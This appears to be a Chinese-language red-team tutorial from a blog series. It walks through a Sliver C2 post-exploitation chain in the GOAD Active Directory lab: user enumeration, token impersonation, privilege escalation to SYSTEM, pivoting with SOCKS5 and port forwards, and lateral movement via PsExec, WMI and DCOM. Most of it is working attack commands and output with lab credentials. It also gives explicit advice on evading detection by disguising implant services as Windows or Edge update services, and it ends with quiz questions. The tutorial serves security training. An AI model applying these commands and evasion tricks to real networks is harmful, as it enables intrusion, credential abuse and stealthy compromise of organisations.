在 Day 25 中,我們學習了 Sliver C2 的基本操作。今天我們將深入探討從使用者列舉到橫向移動的完整攻擊鏈,包括:
假設我們已經在 GOAD 環境的 winterfell.north.sevenkingdoms.local
上建立了 Sliver beacon,目前身份是 NORTH\catelyn.stark
。
sliver (HEALTHY_MARACA) > seatbelt LocalUsers
====== LocalUsers ======
ComputerName : localhost
UserName : eddard.stark
Enabled : True
Rid : 1111
UserType : Administrator
Comment : Eddard Stark
PwdLastSet : 9/7/2025 10:32:33 AM
LastLogon : 10/9/2025 11:25:57 PM
NumLogins : 1885 ⚠️ 頻繁登入
UserName : robb.stark
Enabled : True
Rid : 1113
UserType : Administrator
Comment : Robb Stark
LastLogon : 10/9/2025 11:26:07 PM
NumLogins : 13784 🎯 超高活躍度
UserName : samwell.tarly
Comment : Samwell Tarly (Password : Heartsbane) 🔥 密碼洩漏!
關鍵發現:
sliver (HEALTHY_MARACA) > seatbelt LocalGroups
** WINTERFELL\Administrators **
User NORTH\eddard.stark 🎯 域管理員
Group NORTH\Domain Admins 🔥 整個群組都是管理員
User NORTH\robb.stark 🎯 本地管理員
sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser
# 關鍵發現:
# 1. eddard.stark - 域管理員
# 2. jon.snow - TRUSTED_TO_AUTH_FOR_DELEGATION(約束委派)
# 3. brandon.stark - DONT_REQ_PREAUTH(AS-REP Roasting 目標)
# 4. sansa.stark - ServicePrincipalName(Kerberoasting 目標)
samaccountname : eddard.stark
memberof : { ..., CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrators,CN=Builtin,... }
admincount : 1
Domain Admins
群組即為域管。admincount: 1
也常見於受保護帳號(例如域管)→ 會被 AdminSDHolder/SDProp 保護。samaccountname : jon.snow
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
msds-allowedtodelegateto : {CIFS/winterfell, CIFS/winterfell.north.sevenkingdoms.local}
ServicePrincipalName : CIFS/thewall.north.sevenkingdoms.local
TRUSTED_TO_AUTH_FOR_DELEGATION
表示啟用 Kerberos Constrained Delegation (S4U2Self/S4U2Proxy)。msds-allowedtodelegateto
明確列出「允許代理的目標服務」(此為約束委派的目標服務清單)。SPN
(如 CIFS/...)通常代表服務身分,常見於可被設定委派的情境。samaccountname : brandon.stark
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, **DONT_REQ_PREAUTH**
DONT_REQ_PREAUTH
關閉了 Kerberos 預驗證,任何人都可向 KDC 要到 AS-REP(含可離線爆破的加密片段),因此是 AS-REP Roasting 的標準目標。samaccountname : sansa.stark
ServicePrincipalName : **HTTP/eyrie.north.sevenkingdoms.local**
SPN
,就會成為 Kerberoasting 目標(可向 KDC 請票並離線破解服務金鑰)。HTTP/eyrie...
明確顯示 SPN
綁在使用者上(而非電腦帳號)。基於實際測試,Sliver 的 token 操作有以下特性:
指令 | 本地身份改變 | 網路憑證改變 | 建立新 Beacon | 主要用途 |
---|---|---|---|---|
make-token |
❌ 否 | ✅ 是 | ❌ 否 | 網路資源存取 |
migrate |
✅ 是 | ✅ 是 | ✅ 是 | 切換到其他處理程序 |
getsystem |
✅ 是 | ✅ 是 | ✅ 是 | 提升為 SYSTEM |
# 使用 samwell.tarly 的洩漏密碼
sliver (HEALTHY_MARACA) > make-token -u samwell.tarly -d NORTH -p Heartsbane
[*] Successfully impersonated NORTH\samwell.tarly. Use `rev2self` to revert.
# 完成後清理
sliver (HEALTHY_MARACA) > rev2self
# 查找目標使用者的處理程序
sliver (HEALTHY_MARACA) > ps
Pid Owner Arch Executable Session
====== ==================== ======= ======================= =========
4820 NORTH\robb.stark x86_64 explorer.exe 1 🎯
# Migrate 到 robb.stark 的處理程序
sliver (HEALTHY_MARACA) > migrate -p 4820
[*] Successfully migrated to 4820
[*] Beacon 7c9fe0da HEALTHY_MARACA - 192.168.139.11:58083 (winterfell)
✅ 建立了新 beacon!
# 列出所有 beacons
sliver (HEALTHY_MARACA) > beacons
ID Username Last Check-In
========== ===================== ===============
478923fe NORTH\catelyn.stark 1m ago ⬅️ 原始 beacon
7c9fe0da NORTH\robb.stark 10s ago ⬅️ 新 beacon
# 切換到新 beacon
sliver (HEALTHY_MARACA) > use 7c9fe0da
# 確認新身份
sliver (HEALTHY_MARACA) > whoami
Logon ID: NORTH\robb.stark ✅ 身份已改變!
# 使用 getsystem 提升權限
sliver (HEALTHY_MARACA) > getsystem
[*] A new SYSTEM session should pop soon...
[*] Beacon 914895fd HEALTHY_MARACA - 192.168.139.11:58111 (winterfell)
# 切換到 SYSTEM beacon
sliver (HEALTHY_MARACA) > use 914895fd
sliver (HEALTHY_MARACA) > whoami
Logon ID: NT AUTHORITY\SYSTEM ✅ 最高權限!
在多層網路環境中,攻擊機無法直接存取內部網路。我們需要透過已入侵的機器作為跳板。
因 GOAD 機器都在相同網段,因此以下 IP 為舉例。
攻擊機 (10.10.14.66)
↓
外部機器 WEB01 (10.129.205.234 | 172.16.1.11)
↓
內部機器 SRV01/SRV02 (172.16.1.12/13)
# 在 WEB01 上建立 TCP pivot listener
sliver (http-beacon) > pivots tcp --bind 172.16.1.11
[*] Started tcp pivot listener 172.16.1.11:9898 with id 1
# 生成指向 pivot 的 implant
sliver (http-beacon) > generate --format service -i 172.16.1.11:9898 --skip-symbols -N pivot-implant
[*] Generating new windows/amd64 implant binary
[*] Build completed in 3s
[*] Implant saved to /home/user/pivot-implant.exe
# 查看 pivot 狀態
sliver (http-beacon) > pivots
ID Protocol Bind Address Number Of Pivots
==== ========== ================== ==================
1 TCP 172.16.1.11:9898 0
# 啟動 SOCKS5 代理
sliver (http-beacon) > socks5 start
[*] Started SOCKS5 127.0.0.1:1081
# 配置 proxychains(在攻擊機)
sudo nano /etc/proxychains4.conf
# 添加:
socks5 127.0.0.1 1081
# 測試代理
proxychains crackmapexec smb 172.16.1.12 -u svc_sql -p jkhnrjk123!
SMB 172.16.1.12 445 SRV01 [+] NORTH\svc_sql:jkhnrjk123!
# 轉發 RDP 端口
sliver (http-beacon) > portfwd add --bind 127.0.0.1:3389 --remote 172.16.1.12:3389
[*] Port forwarding 127.0.0.1:3389 -> 172.16.1.12:3389
# 現在可以本地連接
xfreerdp /v:127.0.0.1 /u:svc_sql /p:jkhnrjk123! /d:NORTH
# ❌ 不好的做法(容易被偵測)
sliver > psexec srv01.local
# ✅ 好的做法
sliver > psexec \
--custom-exe /path/to/implant.exe \
--service-name "WindowsDefender" \ # 使用合理的服務名
--service-description "Windows Defender" \ # 描述要合理
srv01.local
PSExec 的偵測指標:
WMI 是原生的 Windows 管理工具,較不容易被偵測。
# 1. 上傳 implant 到目標
sliver (http-beacon) > make-token -u svc_sql -d NORTH -p jkhnrjk123!
sliver (http-beacon) > shell
PS> cd \\srv02.north.sevenkingdoms.local\c$\windows\tasks
PS> # 從 WEB01 複製 implant 到 SRV02
PS> copy C:\Windows\Temp\wmi-implant.exe \\srv02...\c$\windows\tasks\
# 2. 使用 WMI 執行
sliver (http-beacon) > execute -o wmic /node:172.16.1.13 /user:svc_sql /password:jkhnrjk123! process call create "C:\\windows\\tasks\\wmi-implant.exe"
[*] Output:
Executing (Win32_Process)->Create()
Method execution successful.
ProcessId = 1128
ReturnValue = 0
# 3. 等待新 beacon
[*] Session d35ddf7e wmi-implant - ... (srv02) - NORTH\svc_sql
替代方案:使用 wmiexec.py
# 透過 proxychains 使用 Impacket
proxychains impacket-wmiexec north/svc_sql:jkhnrjk123!@172.16.1.13
C:\> hostname
srv02
C:\> whoami
north\svc_sql
DCOM 更隱蔽,因為有多種方法和不同的 IOC。
proxychains impacket-dcomexec -object MMC20 north/svc_sql:jkhnrjk123!@172.16.1.13
C:\> hostname
srv02
方法 | 權限 | 隱蔽性 | 網路埠 | 日誌記錄 | 清理 |
---|---|---|---|---|---|
PSExec | Admin | ⭐⭐ | 445 (SMB) | Event 7045 | 自動清理服務 |
WMI | Admin | ⭐⭐⭐ | 135, 445 | WMI 日誌 | 需手動清理檔案 |
DCOM | Admin | ⭐⭐⭐⭐ | 135 | 較少日誌 | 取決於方法 |
問題:Sliver 的 shell
指令使用固定參數
# Sliver 使用的 PowerShell 參數
-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8
Sigma 規則(會被偵測):
detection:
selection:
CommandLine|contains: '-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8'
規避方式:
execute
而非 shell
問題:預設注入到 spoolsv.exe
,會被監控
# ❌ 預設(容易被偵測)
sliver > getsystem
# ✅ 改進(指定其他處理程序)
sliver > getsystem -p svchost.exe
偵測指標:
問題:預設行為容易被偵測
# Velociraptor 偵測規則
PathName =~ ":\\\\Windows\\\\Temp\\\\[a-zA-Z0-9]{10}\\.exe"
ServiceName =~ "^Sliver$"
Description =~ "Sliver implant"
規避方式:
# ❌ 不好
sliver > psexec srv01.local
# ✅ 好
sliver > psexec \
--custom-exe /path/to/implant.exe \
--service-name "MicrosoftEdgeUpdate" \
--service-description "Microsoft Edge Update Service" \
--binpath "c:\\windows\\system32" \
srv01.local
# 1. 重新命名 beacon 以便識別
sliver > use 7c9fe0da
sliver (HEALTHY_MARACA) > rename robb_stark_beacon
sliver > use 914895fd
sliver (HEALTHY_MARACA) > rename system_beacon
# 2. 查看所有 beacon
sliver > beacons
ID Name Username
========== =================== =====================
478923fe HEALTHY_MARACA NORTH\catelyn.stark
7c9fe0da robb_stark_beacon NORTH\robb.stark
914895fd system_beacon NT AUTHORITY\SYSTEM
# 3. 調整回連間隔(降低網路流量)
sliver > use system_beacon
sliver (system_beacon) > reconfig -i 300 -j 60
# 每 5 分鐘回連一次,抖動 60 秒
# 4. 完成任務後清理不需要的 beacon
sliver > use robb_stark_beacon
sliver (robb_stark_beacon) > kill
[*] Killed beacon 7c9fe0da
風險:
降低風險:
# 1. 最小化 beacon 數量
# 只保留必要的 beacon(通常 1-2 個就足夠)
# 2. 選擇合適的處理程序
# ✅ 好的選擇:explorer.exe, svchost.exe, RuntimeBroker.exe
# ❌ 避免:notepad.exe, cmd.exe, 防毒相關處理程序
# 3. 完成任務後立即清理
sliver > use temp_beacon
sliver > # 執行必要操作
sliver > kill
需要新身份?
│
├─ 有明文密碼?
│ ├─ 是 → 需要改變本地身份?
│ │ ├─ 否 → make-token(網路存取) ✅ 最簡單
│ │ └─ 是 → migrate 到目標處理程序 ⚠️ 建立新 beacon
│ │
│ └─ 否 → 目標使用者有處理程序?
│ ├─ 是 → migrate -p <PID> ✅ 推薦
│ └─ 否 → 需要先獲取憑證
│
└─ 只需要 SYSTEM?
└─ getsystem(如果是管理員) ✅ 簡單直接
需要橫向移動?
│
├─ 有管理員憑證?
│ ├─ 是 → 網路可達性?
│ │ ├─ 直接可達 → 選擇方法:
│ │ │ - PSExec(最快,但較明顯)
│ │ │ - WMI(中等隱蔽)
│ │ │ - DCOM(最隱蔽)
│ │ │
│ │ └─ 需要 Pivot → 建立 TCP pivot 或 SOCKS5
│ │
│ └─ 否 → 需要先提權或取得憑證
│
└─ 目標機器防護?
├─ 有 EDR → 使用更隱蔽的方法(DCOM/WMI)
└─ 基本防護 → PSExec 可用(但記得改參數)
指令 | 語法 | 用途 | 備註 |
---|---|---|---|
make-token |
make-token -u <user> -d <domain> -p <pass> |
網路資源存取 | 不改變本地身份 |
migrate |
migrate -p <PID> |
切換到其他處理程序 | 建立新 beacon |
getsystem |
getsystem [-p <process>] |
提升為 SYSTEM | 建立新 beacon |
rev2self |
rev2self |
還原原始身份 | 清理 make-token |
whoami |
whoami |
查看當前身份 | - |
指令 | 語法 | 用途 |
---|---|---|
beacons |
beacons |
列出所有 beacon |
use |
use <beacon-id> |
切換到指定 beacon |
rename |
rename <new-name> |
重新命名 beacon |
kill |
kill |
終止當前 beacon |
reconfig |
reconfig -i <interval> -j <jitter> |
調整回連設定 |
指令 | 語法 | 用途 |
---|---|---|
pivots tcp |
pivots tcp --bind <ip> |
建立 TCP pivot |
pivots |
pivots |
列出 pivot listeners |
socks5 |
socks5 start |
啟動 SOCKS5 代理 |
portfwd |
portfwd add --bind <local> --remote <remote> |
端口轉發 |
指令 | 語法 | 用途 |
---|---|---|
psexec |
psexec --custom-exe <path> <host> |
PSExec 橫向移動 |
execute |
execute -o <command> |
執行命令 |
1. 初始存取 (catelyn.stark - 本地管理員)
↓
2. 使用者列舉 (Seatbelt + SharpView)
├─ 本地使用者
├─ 本地管理員群組
└─ 域使用者
↓
3. 發現高價值目標
├─ eddard.stark (域管理員)
├─ robb.stark (活躍的本地管理員)
└─ samwell.tarly (密碼洩漏: Heartsbane)
↓
4. Token 操作 / 身份切換
├─ make-token(網路存取)
├─ migrate(切換處理程序)
└─ getsystem(提升為 SYSTEM)
↓
5. 設置 Pivoting(如需要)
├─ TCP pivot
├─ SOCKS5 代理
└─ 端口轉發
↓
6. 橫向移動
├─ PSExec
├─ WMI
└─ DCOM
↓
7. 域控制器入侵
├─ 傾印憑證
└─ DCSync 攻擊
↓
8. 清理與持久化
└─ 清理不需要的 beacon
use
, rename
, kill
執行 make-token -u samwell.tarly -d NORTH -p Heartsbane
後,下列哪個操作會成功?
A. whoami
會顯示 NORTH\samwell.tarly
B. migrate -p 4820
會失敗
C. net use \\server\C$
會使用 samwell.tarly 的憑證
D. getsystem
會失敗
✅ 正確答案:C
解析: make-token
建立的是網路憑證,不會改變本地身份(排除 A)。make-token
不影響 migrate
或 getsystem
的執行(排除 B、D)。只有網路存取(如 net use
)會使用新憑證。
執行 migrate -p 4820
成功後,會發生什麼?
A. 當前 beacon 的身份改變
B. 建立一個新的 beacon
C. 原始 beacon 被終止
D. 所有 beacon 都會改變身份
✅ 正確答案:B
解析: migrate
會建立一個新的 beacon,注入到目標處理程序。原始 beacon 仍然存在且身份不變。需要使用 use
切換到新 beacon。
內部機器 192.168.1.100 無法直接連接,但可以透過已入侵的 WEB01 (172.16.1.11) 存取。要使用 Impacket 工具,最適合的方法是?
A. TCP pivot
B. SOCKS5 代理 + proxychains
C. 端口轉發
D. 不需要 pivoting
✅ 正確答案:B
解析: Impacket 工具需要透過代理訪問整個網段,SOCKS5 + proxychains 是最合適的方案。TCP pivot 用於 Sliver implant,端口轉發只能存取單一服務。
在高度監控的環境中,需要橫向移動到另一台機器,最隱蔽的方法是?
A. PSExec
B. WMI
C. DCOM
D. RDP
✅ 正確答案:C
解析: DCOM 是最隱蔽的方法,因為:
PSExec 會產生 Event ID 7045(新服務),WMI 會產生 WMI 日誌,RDP 會產生登入日誌。
下列哪個 PSExec 用法最安全?
A. psexec srv01.local
B. psexec --service-name Sliver srv01.local
C. psexec --custom-exe /path/to/implant.exe --service-name MicrosoftUpdate --service-description "Microsoft Update Service" srv01.local
D. psexec --service-name backdoor srv01.local
✅ 正確答案:C
解析: 選項 C 做到了:
選項 A 使用預設參數(服務名 "Sliver",容易被偵測)。選項 B 和 D 的服務名稱都很可疑。
有 3 個 beacons 在運行,要切換到 robb.stark 的 beacon(ID: 7c9fe0da)並檢查身份,正確的操作順序是?
A. whoami
→ use 7c9fe0da
B. use 7c9fe0da
→ whoami
C. beacons
→ whoami
→ use 7c9fe0da
D. rename robb
→ use 7c9fe0da
→ whoami
✅ 正確答案:B
解析: 正確順序是:
use
切換到目標 beaconwhoami
檢查身份選項 A 順序錯誤。選項 C 多了不必要的 beacons
(雖然沒錯,但不是最佳答案)。選項 D 的 rename
在沒有切換 beacon 前執行會重新命名當前 beacon。